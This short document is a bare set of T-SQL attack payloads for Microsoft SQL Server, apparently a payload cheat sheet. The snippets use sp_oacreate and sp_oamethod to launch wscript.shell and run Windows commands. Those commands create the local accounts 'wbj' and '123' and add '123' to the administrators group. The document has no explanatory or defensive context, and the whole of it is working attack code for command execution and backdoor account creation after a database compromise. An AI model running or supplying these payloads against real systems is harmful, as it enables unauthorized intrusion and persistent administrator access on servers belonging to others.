declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod 
@shell,'run',null,'c:\windows\system32\cmd.exe /c net user wbj wbj /add'


declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'net user 123 123 /add'


declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'net localgroup administrators 123 /add'